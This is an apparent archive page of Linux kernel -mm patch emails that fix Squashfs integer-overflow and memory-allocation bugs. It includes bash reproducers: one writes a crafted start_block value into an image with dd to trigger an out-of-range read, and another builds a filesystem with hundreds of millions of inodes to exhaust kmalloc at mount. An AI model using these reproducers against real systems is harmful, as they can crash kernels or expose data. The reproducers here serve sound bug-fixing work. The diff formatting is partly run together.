c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: sanity check block list sizes and range
Date: Mon, 23 Nov 2026 03:42:58 +0000
A Squashfs file has a list of block sizes, storing the compressed size of each data block. This block list is scanned to discover the size and location of block x, where the sizes of previous data blocks are added to the start of the data blocks to produce the location.
But, when scanning this block list and adding the block sizes, the code does not check for arithmetic overflow. This means the data block start location can be crafted to be close to 2^64, and so the addition of the block sizes can cause arithmetic overflow and thereby evade any sanity checks.
Additionally, the range (start and end) of the data block that is to be read from the filesystem is not checked for correctness before squasfs_read_data().
This commit adds checks for arithmetic overflow and sanity checks the range of the data block before attempting to read from disk.
Reproducer
==========
The reproducer generates a Squashfs filesystem with a file with two data blocks, and then corrupts the location of the start of the data blocks to 2^64 - 128 KiB. This added to the size of data block 0 (128 KiB) will overflow, producing a location of 0. If the exploit succeeds, when the second block is read, Squashfs will not produce an I/O error and instead print the Squashfs filesystem superblock starting with hsqs.
====================================================================
#!/bin/bash
ARGS="-quiet -no-progress -noI -noD -no-sparse -no-fragments -comp gzip"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo "Create Squashfs filesystem with one file, with 2 data blocks" echo "Create a hard link to it, to force Mksquashfs to use an extended inode" echo "(more than one nlink). This means the start_block field will" echo "be 64-bits"
echo "/ d 0777 0 0" > pseudo
echo "zero f 0777 0 0 dd if=/dev/zero bs=1024 count=256 2>/dev/null" >> pseudo echo "hardlink L zero" >> pseudo
if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
echo "Corrupt the start_block field of file zero's inode, which" echo "points to the start of the file's data blocks."
echo "Alter it to the value 0xFFFFFFFFFFFE0000 (2^64 - 128 KiB)." echo "That value added to the size of the first data block (128 KiB)" echo "will overflow"
echo "The inode start_block field is stored at byte offset 262258"
/usr/bin/echo -en "\x00\x00\xfe\xff\xff\xff\xff\xff" > file dd if=file of=img.sqsh seek=262258 bs=1 count=8 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the file zero.
echo If the exploit succeeds, dd will not fail, and it will display the Squashfs echo superblock, beginning with hsqs
echo
dd if=/mnt/zero bs=1024 skip=128
popd 2>&1> /dev/null
rm -rf $DIR
====================================================================
fs/squashfs/cache.c | 2 +- fs/squashfs/file.c | 27 +++++++++++++++++++++------ fs/squashfs/squashfs_helpers.h | 20 +++++++++++++++++--- 3 files changed, 39 insertions(+), 10 deletions(-)
fs/squashfs/cache.c renamed from fs/squashfs/cache.c~squashfs-sanity-check-block-list-sizes-and-range +1 -1
@@ -490,7 +490,7 @@ struct squashfs_cache_entry *squashfs_ge u64 start_block, int length) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int res =squashfs_check_range (start_block, length, msblk); +int res =squashfs_check_range (start_block,squashfs_frag_size (length, msblk->block_size), msblk);if (res <0 )return ERR_PTR (res);
fs/squashfs/file.c renamed from fs/squashfs/file.c~squashfs-sanity-check-block-list-sizes-and-range +21 -6
@@ -281,6 +281,9 @@ static s64 fill_meta_index(struct inodelong long res =read_indexes (inode->i_sb, blocks, &cur_index_block, &cur_offset); +if (res >=0 ) + res =squashfs_add_indexes (cur_data_block, res, msblk); +if (res <0 ) {if (meta->entries ==0 )/*
@@ -292,7 +295,7 @@ static s64 fill_meta_index(struct inode goto failed; } - cur_data_block += res; + cur_data_block = res; meta_entry = &meta->meta_entry[i - meta->offset]; meta_entry->index_block = cur_index_block - msblk->inode_table;
@@ -353,8 +356,13 @@ static int read_blocklist_ptrs(struct in blks =read_indexes (inode->i_sb, index - res, start, offset);if (blks <0 )return (int ) blks; -if (block) - *block += blks; +if (block) { + res =squashfs_add_indexes (*block, blks, msblk); +if (res <0 ) +return (int ) res; + + *block = res; + } }/*
@@ -492,8 +500,11 @@ static int squashfs_read_folio(struct fiif (res ==0 ) res =squashfs_readpage_sparse (folio, expected); -else - res =squashfs_readpage_block (folio, block, res, expected); +else { + res =squashfs_check_range (block, res, msblk); +if (res >=0 ) + res =squashfs_readpage_block (folio, block, res, expected); + } }else res =squashfs_readpage_fragment (folio, expected);
@@ -629,7 +640,11 @@ static void squashfs_readahead(struct re } bsize =read_blocklist (inode, start >> msblk->block_log, &block); -if (bsize ==0 ) +if (bsize <=0 ) + goto skip_pages; + + bsize =squashfs_check_range (block, bsize, msblk); +if (bsize <0 ) goto skip_pages; actor = squashfs_page_actor_init_special(msblk, pages, nr_pages,
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-sanity-check-block-list-sizes-and-range +17 -3
@@ -240,10 +240,8 @@ static inline int squashfs_frag_size(u32return size; } -static inline int squashfs_check_range (u64 start_block,s32 disk_size,struct squashfs_sb_info *msblk) +static inline int squashfs_check_range (u64 start_block,s32 size,struct squashfs_sb_info *msblk) { -int size =squashfs_frag_size (disk_size, msblk->block_size); -if (size <0 )return size;
@@ -259,4 +257,20 @@ static inline int squashfs_check_range(u return size; } + +static inline s64 squashfs_add_indexes (u64 block,s64 blks,struct squashfs_sb_info *msblk) +{ + +if (block >S64_MAX ) +return -EIO ; + +/* +* the above check ensured block is not 2^63 or larger, and so +* this addition will not overflow +*/ +if (block + blks > msblk->inode_table) +return -EIO ; + +return block + blks; +}#endif
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 18/23 Squashfs: don't store large export table indexes in memory
In reply to Phillip LougherWhen mounting a Squashfs filesystem, the code reads the entire export table indexes into memory. Their size is determined by the number of inodes in the filesystem. For the maximum inode count of 2^32, this will allocate and read 32 MiB.
This is an excessive and unnecessary amount of memory because the indexes do not need to be read into memory in their entirety. In addition kmalloc() is used to allocate memory, and this can fail when large amounts of memory are requested. Kmalloc() on modern kernels is usually limited to 4096 KiB. If panic-on-warn is set, then failure to allocate memory will result in a kernel panic.
This commit uses a 4 page cache if the size of the export table indexes are 4 pages in size or larger. A simple and fast lookup array is retained where the total index size is less than 4 pages in size, which is the vast majority of Squashfs filesystems.
Reproducer
==========
The following reproducer will create a Squashfs filesystem with 540,540,568 inodes (540 million files). This will cause the export table indexes to exceed 4096 KiB, and the kmalloc() should fail when the filesystem is mounted. Due to the large amount of inodes the Squashfs filesystem reproducer needs to be run on a 64-bit machine with around 60 GiB of memory (or swap).
The latest development Mksquashfs from the GitHub Squashfs-tools repository also needs to be used.
=====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}IMG=$PWD/reproducer.sqsh
DIR=$(mktemp -d)
if [ -e $IMG ]; then
rm $IMG
fi
pushd $DIR 2>&1 > /dev/null
# create 20 million pseudo file links to empty file touch a a=0 while [ $a -le 19 ]; do b=0 while [ $b -le 999 ]; do c=0 while [ $c -le 999 ]; do echo "x/$a/$b/$c l a" >> file (( c ++ )) done (( b ++ )) done (( a ++ )) done
for i in $(seq 1 27); do
sed "s/x/$i/g" file > pseudo
echo
echo Iteration $i - appending 20 million files to Squashfs filesystem
echo
if ! mksquashfs - $IMG -pf pseudo -no-hardlinks -pd "d 0777 0 0" -no-recovery -no-progress -comp lz4; then
echo Appending to Squashfs filesystem failed
finish
fi
done
popd 2>&1 > /dev/null
rm -rf $DIR
echo Generated Squashfs filesystem $IMG
=====================================================================
---
v3:
- Widen return value of squashfs_lookup_blocks_offset() to s32.
v2:
- Widen offset in squashfs_inode_lookup_start() to s32, to prevent overflow when PAGE_SIZE is 64 KiB or larger.
- Prevent squashfs_inode_lookup_start() from passing back an erroneous error value by checking lookup_table_start >= next_table in squashfs_read_inode_lookup_table().
--- fs/squashfs/export.c | 145 +++++++++++++++++++++++---------- fs/squashfs/squashfs.h | 3 +- fs/squashfs/squashfs_fs_sb.h | 8 +- fs/squashfs/squashfs_helpers.h | 28 ++++++- fs/squashfs/super.c | 36 +++++--- 5 files changed, 160 insertions(+), 60 deletions(-)
fs/squashfs/export.c +100 -45
@@ -34,24 +34,64 @@#include "squashfs_helpers.h" #include "squashfs.h" +s64 squashfs_inode_lookup_start (struct super_block *sb,u32 ino_num) +{ +struct squashfs_sb_info *msblk = sb->s_fs_info; +s64 start; +int err; + +if (msblk->lookup_table_is_cache) { +s32 length =squashfs_lookup_blocks_bytes (msblk->inodes); +s32 base =squashfs_lookup_blocks_base (ino_num -1 ); +s32 offset =squashfs_lookup_blocks_offset (ino_num -1 ); +s32 avail =min_t (int, length - base,PAGE_SIZE ); +struct squashfs_cache_entry *entry; + + start =squashfs_lookup_blocks_start (ino_num -1 , msblk); +if (start <0 ) +return start; + + entry =squashfs_cache_get (sb, msblk->inode_lookup_cache, start, + avail |SQUASHFS_COMPRESSED_BIT_BLOCK ); +if (entry->error <0 ) { + err = entry->error; +squashfs_cache_put (entry); +return err; + } + + start =le64_to_cpu (((__le64 *)entry->data[0 ])[offset >>3 ]); +squashfs_cache_put (entry); + }else { +s32 blk =squashfs_lookup_block (ino_num -1 ); + + start =le64_to_cpu (msblk->inode_lookup_array[blk]); + } + +if (start < msblk->lookup_table_start || start >= msblk->lookup_table) +return -EIO ; + +return start; +} +/* * Look-up inode number (ino) in table, returning the inode location. */ -static long long squashfs_inode_lookup (struct super_block *sb,int ino_num) +static long long squashfs_inode_lookup (struct super_block *sb,u32 ino_num) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int blk =squashfs_lookup_block (ino_num -1 ); -int offset =squashfs_lookup_block_offset (ino_num -1 ); -u64 start; +s32 offset =squashfs_lookup_block_offset (ino_num -1 ); +s64 start;__le64 ino;int err; -TRACE ("Entered squashfs_inode_lookup, inode_number = %d\n" , ino_num); +TRACE ("Entered squashfs_inode_lookup, inode_number = %u\n" , ino_num);if (ino_num ==0 || (ino_num -1 ) >= msblk->inodes)return -EINVAL ; - start =le64_to_cpu (msblk->inode_lookup_table[blk]); + start =squashfs_inode_lookup_start (sb, ino_num); +if (start <0 ) +return start; err =squashfs_read_metadata (sb, &ino, &start, &offset,sizeof (ino));if (err <0 )
@@ -113,14 +153,11 @@ static struct dentry *squashfs_get_parent(struct dentry *child)/* * Read uncompressed inode lookup table indexes off disk into memory */ -__le64 *squashfs_read_inode_lookup_table (struct super_block *sb, +int squashfs_read_inode_lookup_table (struct super_block *sb,u64 lookup_table_start,u64 next_table,unsigned int inodes) { -unsigned int length =squashfs_lookup_block_bytes (inodes); -unsigned int indexes =squashfs_lookup_blocks (inodes); -int n; -__le64 *table; -u64 start, end; +struct squashfs_sb_info *msblk = sb->s_fs_info; +s32 length =squashfs_lookup_blocks_bytes (inodes);TRACE ("In read_inode_lookup_table, length %d\n" , length);
@@ -128,51 +165,69 @@ __le64 *squashfs_read_inode_lookup_table(struct super_block *sb,/* there should always be at least one inode */ if (inodes ==0 ) -return ERR_PTR (-EINVAL ); +return -EIO ;/* * The computed size of the lookup table (length bytes) should exactly * match the table start and end points */ -if (length != (next_table - lookup_table_start)) -return ERR_PTR (-EINVAL ); - - table =squashfs_read_table (sb, lookup_table_start, length); -if (IS_ERR (table)) -return table; +if (lookup_table_start >= next_table || + length != (next_table - lookup_table_start)) +return -EIO ; + +if (length <= (PAGE_SIZE *4 )) { +/* Read lookup table index into memory */ +s32 indexes =squashfs_lookup_blocks (inodes); +__le64 *array; +u64 start, end; +int n; + + array =squashfs_read_table (sb, lookup_table_start, length); +if (IS_ERR (array)) +return PTR_ERR (array); + +/* +* array0], array[1], ... array[indexes - 1] store the locations +* of the compressed inode lookup blocks. Each entry should be +* less than the next (i.e. array[0] < array[1]), and the difference +* between them should be SQUASHFS_METADATA_SIZE or less. +* array[indexes - 1] should be less than lookup_array_start, and +* again the difference should be SQUASHFS_METADATA_SIZE or less +*/ +for (n =0 ; n < (indexes -1 ); n++) { + start =le64_to_cpu (array[n]); + end =le64_to_cpu (array[n +1 ]); + +if (start >= end || (end - start) > (SQUASHFS_METADATA_SIZE + +SQUASHFS_BLOCK_OFFSET )) { +kfree (array); +return -EIO ; + } + } -/* -* table0], table[1], ... table[indexes - 1] store the locations -* of the compressed inode lookup blocks. Each entry should be -* less than the next (i.e. table[0] < table[1]), and the difference -* between them should be SQUASHFS_METADATA_SIZE or less. -* table[indexes - 1] should be less than lookup_table_start, and -* again the difference should be SQUASHFS_METADATA_SIZE or less -*/ -for (n =0 ; n < (indexes -1 ); n++) { - start =le64_to_cpu (table[n]); - end =le64_to_cpu (table[n +1 ]); - -if (start >= end - || (end - start) > - (SQUASHFS_METADATA_SIZE +SQUASHFS_BLOCK_OFFSET )) { -kfree (table); -return ERR_PTR (-EINVAL ); + start =le64_to_cpu (array[indexes -1 ]); +if (start >= lookup_table_start || (lookup_table_start - start) > + (SQUASHFS_METADATA_SIZE +SQUASHFS_BLOCK_OFFSET )) { +kfree (array); +return -EIO ; } - } - start =le64_to_cpu (table[indexes -1 ]); -if (start >= lookup_table_start || - (lookup_table_start - start) > - (SQUASHFS_METADATA_SIZE +SQUASHFS_BLOCK_OFFSET )) { -kfree (table); -return ERR_PTR (-EINVAL ); + msblk->inode_lookup_array = array; + msblk->lookup_table_is_cache = false; + }else { +/* Use a cache to store the last 4 pages of indexes read */ +struct squashfs_cache *cache =squashfs_cache_init ("inode index" ,4 ,PAGE_SIZE ); + +if (IS_ERR (cache)) +return PTR_ERR (cache); + + msblk->inode_lookup_cache = cache; + msblk->lookup_table_is_cache = true; } -return table; +return 0 ; } -const struct export_operations squashfs_export_ops = { .encode_fh = generic_encode_ino32_fh, .fh_to_dentry = squashfs_fh_to_dentry,
fs/squashfs/squashfs.h +2 -1
@@ -64,8 +64,9 @@ extern const struct squashfs_decompressor_thread_ops squashfs_decompressor_percp#endif /* export.c */ -extern __le64 *squashfs_read_inode_lookup_table (struct super_block *,u64 ,u64 , +extern int squashfs_read_inode_lookup_table (struct super_block *,u64 ,u64 ,unsigned int ); +extern s64 squashfs_inode_lookup_start (struct super_block *sb,u32 ino_num);/* fragment.c */ extern int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,
fs/squashfs/squashfs_fs_sb.h +7 -1
@@ -64,11 +64,16 @@ struct squashfs_sb_info {struct mutex meta_index_mutex;struct meta_index *meta_index;void *stream; -__le64 *inode_lookup_table; +union { +__le64 *inode_lookup_array; +struct squashfs_cache *inode_lookup_cache; + };u64 inode_table;u64 directory_table;u64 directory_table_end;u64 xattr_table; +u64 lookup_table; +u64 lookup_table_start;unsigned int block_size;unsigned short block_log;long long bytes_used;
@@ -79,5 +84,6 @@ struct squashfs_sb_info {bool panic_on_errors;const struct squashfs_decompressor_thread_ops *thread_ops;int max_thread_num; + bool lookup_table_is_cache; };#endif
fs/squashfs/squashfs_helpers.h +27 -1
@@ -135,11 +135,37 @@ static inline s32 squashfs_lookup_blocks(u32 inodes)SQUASHFS_METADATA_SIZE ; } -static inline s32 squashfs_lookup_block_bytes (u32 inodes) +static inline s32 squashfs_lookup_blocks_bytes (u32 inodes) {return squashfs_lookup_blocks (inodes) *sizeof (long long ); } +static inline s32 squashfs_lookup_blocks_base (u32 inodes) +{ +return (squashfs_lookup_block (inodes) *sizeof (long long )) & ~(PAGE_SIZE -1 ); +} + +static inline s64 squashfs_lookup_blocks_start (u32 inodes,struct squashfs_sb_info *msblk) +{ +s32 base =squashfs_lookup_blocks_base (inodes); +s64 start; + +if (S64_MAX - msblk->lookup_table < base) +return -EINVAL ; + + start = msblk->lookup_table + base; + +if (start > msblk->bytes_used) +return -EINVAL ; + +return start; +} + +static inline s32 squashfs_lookup_blocks_offset (u32 inodes) +{ +return (squashfs_lookup_block (inodes) *sizeof (long long )) & (PAGE_SIZE -1 ); +} +/* uid lookup table defines */ static inline s32 squashfs_id_bytes (u16 ids) {
fs/squashfs/super.c +24 -12
@@ -177,6 +177,13 @@ static const struct squashfs_decompressor *supported_squashfs_filesystem(return decompressor; } +static void squashfs_free_inode_table (struct squashfs_sb_info *msblk) +{ +if (msblk->lookup_table_is_cache) +squashfs_cache_delete (msblk->inode_lookup_cache); +else +kfree (msblk->inode_lookup_array); +}static int squashfs_fill_super (struct super_block *sb,struct fs_context *fc) {
@@ -187,8 +194,9 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)long long root_inode;unsigned short flags;unsigned int fragments; -u64 lookup_table_start, xattr_id_table_start, next_table; -int err, devblksize =sb_min_blocksize (sb,SQUASHFS_DEVBLK_SIZE ); +u64 xattr_id_table_start, next_table; +s64 err; +int devblksize =sb_min_blocksize (sb,SQUASHFS_DEVBLK_SIZE );TRACE ("Entered squashfs_fill_superblock\n" );
@@ -391,20 +399,24 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc) next_table =le64_to_cpu (msblk->id_table[0 ]);/* Handle inode lookup table */ - lookup_table_start =le64_to_cpu (sblk->lookup_table_start); -if (lookup_table_start ==SQUASHFS_INVALID_BLK ) + msblk->lookup_table =le64_to_cpu (sblk->lookup_table_start); +if (msblk->lookup_table ==SQUASHFS_INVALID_BLK ) goto handle_fragments;/* Allocate and read inode lookup table */ - msblk->inode_lookup_table =squashfs_read_inode_lookup_table (sb, - lookup_table_start, next_table, msblk->inodes); -if (IS_ERR (msblk->inode_lookup_table)) { + err =squashfs_read_inode_lookup_table (sb, msblk->lookup_table, + next_table, msblk->inodes); +if (err <0 ) { +errorf (fc,"unable to read inode lookup table" ); + goto failed_mount; + } + + err =squashfs_inode_lookup_start (sb,1 ); +if (err <0 ) {errorf (fc,"unable to read inode lookup table" ); - err =PTR_ERR (msblk->inode_lookup_table); - msblk->inode_lookup_table =NULL ; goto failed_mount; } - next_table =le64_to_cpu (msblk->inode_lookup_table[0 ]); + next_table = msblk->lookup_table_start = err; sb->s_export_op = &squashfs_export_ops;
@@ -480,7 +492,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)if (msblk->cache_mapping)iput (msblk->cache_mapping->host); msblk->thread_ops->destroy (msblk); -kfree (msblk->inode_lookup_table); +squashfs_free_inode_table (msblk);kfree (msblk->fragment_index);kfree (msblk->id_table);kfree (msblk->xattr_id_table);
@@ -603,7 +615,7 @@ static void squashfs_put_super(struct super_block *sb)kfree (sbi->id_table);kfree (sbi->fragment_index);kfree (sbi->meta_index); -kfree (sbi->inode_lookup_table); +squashfs_free_inode_table (sbi);kfree (sbi->xattr_id_table);kfree (sb->s_fs_info); sb->s_fs_info =NULL ;
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-dont-store-large-export-table-indexes-in-memory.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: don't store large export table indexes in memory has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: don't store large export table indexes in memory
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-dont-store-large-export-table-indexes-in-memory.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-dont-store-large-export-table-indexes-in-memory.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: don't store large export table indexes in memory
Date: Mon, 23 Nov 2026 03:42:59 +0000
When mounting a Squashfs filesystem, the code reads the entire export table indexes into memory. Their size is determined by the number of inodes in the filesystem. For the maximum inode count of 2^32, this will allocate and read 32 MiB.
This is an excessive and unnecessary amount of memory because the indexes do not need to be read into memory in their entirety. In addition kmalloc() is used to allocate memory, and this can fail when large amounts of memory are requested. Kmalloc() on modern kernels is usually limited to 4096 KiB. If panic-on-warn is set, then failure to allocate memory will result in a kernel panic.
This commit uses a 4 page cache if the size of the export table indexes are 4 pages in size or larger. A simple and fast lookup array is retained where the total index size is less than 4 pages in size, which is the vast majority of Squashfs filesystems.
Reproducer
==========
The following reproducer will create a Squashfs filesystem with 540,540,568 inodes (540 million files). This will cause the export table indexes to exceed 4096 KiB, and the kmalloc() should fail when the filesystem is mounted. Due to the large amount of inodes the Squashfs filesystem reproducer needs to be run on a 64-bit machine with around 60 GiB of memory (or swap).
The latest development Mksquashfs from the GitHub Squashfs-tools repository also needs to be used.
=====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}IMG=$PWD/reproducer.sqsh
DIR=$(mktemp -d)
if [ -e $IMG ]; then
rm $IMG
fi
pushd $DIR 2>&1 > /dev/null
# create 20 million pseudo file links to empty file touch a a=0 while [ $a -le 19 ]; do b=0 while [ $b -le 999 ]; do c=0 while [ $c -le 999 ]; do echo "x/$a/$b/$c l a" >> file (( c ++ )) done (( b ++ )) done (( a ++ )) done
for i in $(seq 1 27); do
sed "s/x/$i/g" file > pseudo
echo
echo Iteration $i - appending 20 million files to Squashfs filesystem
echo
if ! mksquashfs - $IMG -pf pseudo -no-hardlinks -pd "d 0777 0 0" -no-recovery -no-progress -comp lz4; then
echo Appending to Squashfs filesystem failed
finish
fi
done
popd 2>&1 > /dev/null
rm -rf $DIR
echo Generated Squashfs filesystem $IMG
=====================================================================
fs/squashfs/export.c | 145 +++++++++++++++++++++---------- fs/squashfs/squashfs.h | 3 fs/squashfs/squashfs_fs_sb.h | 8 + fs/squashfs/squashfs_helpers.h | 28 +++++ fs/squashfs/super.c | 36 +++++-- 5 files changed, 160 insertions(+), 60 deletions(-)
fs/squashfs/export.c renamed from fs/squashfs/export.c~squashfs-dont-store-large-export-table-indexes-in-memory +100 -45
@@ -34,24 +34,64 @@#include "squashfs_helpers.h" #include "squashfs.h" +s64 squashfs_inode_lookup_start (struct super_block *sb,u32 ino_num) +{ +struct squashfs_sb_info *msblk = sb->s_fs_info; +s64 start; +int err; + +if (msblk->lookup_table_is_cache) { +s32 length =squashfs_lookup_blocks_bytes (msblk->inodes); +s32 base =squashfs_lookup_blocks_base (ino_num -1 ); +s32 offset =squashfs_lookup_blocks_offset (ino_num -1 ); +s32 avail =min_t (int, length - base,PAGE_SIZE ); +struct squashfs_cache_entry *entry; + + start =squashfs_lookup_blocks_start (ino_num -1 , msblk); +if (start <0 ) +return start; + + entry =squashfs_cache_get (sb, msblk->inode_lookup_cache, start, + avail |SQUASHFS_COMPRESSED_BIT_BLOCK ); +if (entry->error <0 ) { + err = entry->error; +squashfs_cache_put (entry); +return err; + } + + start =le64_to_cpu (((__le64 *)entry->data[0 ])[offset >>3 ]); +squashfs_cache_put (entry); + }else { +s32 blk =squashfs_lookup_block (ino_num -1 ); + + start =le64_to_cpu (msblk->inode_lookup_array[blk]); + } + +if (start < msblk->lookup_table_start || start >= msblk->lookup_table) +return -EIO ; + +return start; +} +/* * Look-up inode number (ino) in table, returning the inode location. */ -static long long squashfs_inode_lookup (struct super_block *sb,int ino_num) +static long long squashfs_inode_lookup (struct super_block *sb,u32 ino_num) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int blk =squashfs_lookup_block (ino_num -1 ); -int offset =squashfs_lookup_block_offset (ino_num -1 ); -u64 start; +s32 offset =squashfs_lookup_block_offset (ino_num -1 ); +s64 start;__le64 ino;int err; -TRACE ("Entered squashfs_inode_lookup, inode_number = %d\n" , ino_num); +TRACE ("Entered squashfs_inode_lookup, inode_number = %u\n" , ino_num);if (ino_num ==0 || (ino_num -1 ) >= msblk->inodes)return -EINVAL ; - start =le64_to_cpu (msblk->inode_lookup_table[blk]); + start =squashfs_inode_lookup_start (sb, ino_num); +if (start <0 ) +return start; err =squashfs_read_metadata (sb, &ino, &start, &offset,sizeof (ino));if (err <0 )
@@ -113,14 +153,11 @@ static struct dentry *squashfs_get_paren/* * Read uncompressed inode lookup table indexes off disk into memory */ -__le64 *squashfs_read_inode_lookup_table (struct super_block *sb, +int squashfs_read_inode_lookup_table (struct super_block *sb,u64 lookup_table_start,u64 next_table,unsigned int inodes) { -unsigned int length =squashfs_lookup_block_bytes (inodes); -unsigned int indexes =squashfs_lookup_blocks (inodes); -int n; -__le64 *table; -u64 start, end; +struct squashfs_sb_info *msblk = sb->s_fs_info; +s32 length =squashfs_lookup_blocks_bytes (inodes);TRACE ("In read_inode_lookup_table, length %d\n" , length);
@@ -128,51 +165,69 @@ __le64 *squashfs_read_inode_lookup_table/* there should always be at least one inode */ if (inodes ==0 ) -return ERR_PTR (-EINVAL ); +return -EIO ;/* * The computed size of the lookup table (length bytes) should exactly * match the table start and end points */ -if (length != (next_table - lookup_table_start)) -return ERR_PTR (-EINVAL ); - - table =squashfs_read_table (sb, lookup_table_start, length); -if (IS_ERR (table)) -return table; +if (lookup_table_start >= next_table || + length != (next_table - lookup_table_start)) +return -EIO ; + +if (length <= (PAGE_SIZE *4 )) { +/* Read lookup table index into memory */ +s32 indexes =squashfs_lookup_blocks (inodes); +__le64 *array; +u64 start, end; +int n; + + array =squashfs_read_table (sb, lookup_table_start, length); +if (IS_ERR (array)) +return PTR_ERR (array); + +/* +* array0], array[1], ... array[indexes - 1] store the locations +* of the compressed inode lookup blocks. Each entry should be +* less than the next (i.e. array[0] < array[1]), and the difference +* between them should be SQUASHFS_METADATA_SIZE or less. +* array[indexes - 1] should be less than lookup_array_start, and +* again the difference should be SQUASHFS_METADATA_SIZE or less +*/ +for (n =0 ; n < (indexes -1 ); n++) { + start =le64_to_cpu (array[n]); + end =le64_to_cpu (array[n +1 ]); + +if (start >= end || (end - start) > (SQUASHFS_METADATA_SIZE + +SQUASHFS_BLOCK_OFFSET )) { +kfree (array); +return -EIO ; + } + } -/* -* table0], table[1], ... table[indexes - 1] store the locations -* of the compressed inode lookup blocks. Each entry should be -* less than the next (i.e. table[0] < table[1]), and the difference -* between them should be SQUASHFS_METADATA_SIZE or less. -* table[indexes - 1] should be less than lookup_table_start, and -* again the difference should be SQUASHFS_METADATA_SIZE or less -*/ -for (n =0 ; n < (indexes -1 ); n++) { - start =le64_to_cpu (table[n]); - end =le64_to_cpu (table[n +1 ]); - -if (start >= end - || (end - start) > - (SQUASHFS_METADATA_SIZE +SQUASHFS_BLOCK_OFFSET )) { -kfree (table); -return ERR_PTR (-EINVAL ); + start =le64_to_cpu (array[indexes -1 ]); +if (start >= lookup_table_start || (lookup_table_start - start) > + (SQUASHFS_METADATA_SIZE +SQUASHFS_BLOCK_OFFSET )) { +kfree (array); +return -EIO ; } - } - start =le64_to_cpu (table[indexes -1 ]); -if (start >= lookup_table_start || - (lookup_table_start - start) > - (SQUASHFS_METADATA_SIZE +SQUASHFS_BLOCK_OFFSET )) { -kfree (table); -return ERR_PTR (-EINVAL ); + msblk->inode_lookup_array = array; + msblk->lookup_table_is_cache = false; + }else { +/* Use a cache to store the last 4 pages of indexes read */ +struct squashfs_cache *cache =squashfs_cache_init ("inode index" ,4 ,PAGE_SIZE ); + +if (IS_ERR (cache)) +return PTR_ERR (cache); + + msblk->inode_lookup_cache = cache; + msblk->lookup_table_is_cache = true; } -return table; +return 0 ; } -const struct export_operations squashfs_export_ops = { .encode_fh = generic_encode_ino32_fh, .fh_to_dentry = squashfs_fh_to_dentry,
fs/squashfs/squashfs_fs_sb.h renamed from fs/squashfs/squashfs_fs_sb.h~squashfs-dont-store-large-export-table-indexes-in-memory +7 -1
@@ -64,11 +64,16 @@ struct squashfs_sb_info {struct mutex meta_index_mutex;struct meta_index *meta_index;void *stream; -__le64 *inode_lookup_table; +union { +__le64 *inode_lookup_array; +struct squashfs_cache *inode_lookup_cache; + };u64 inode_table;u64 directory_table;u64 directory_table_end;u64 xattr_table; +u64 lookup_table; +u64 lookup_table_start;unsigned int block_size;unsigned short block_log;long long bytes_used;
@@ -79,5 +84,6 @@ struct squashfs_sb_info {bool panic_on_errors;const struct squashfs_decompressor_thread_ops *thread_ops;int max_thread_num; + bool lookup_table_is_cache; };#endif
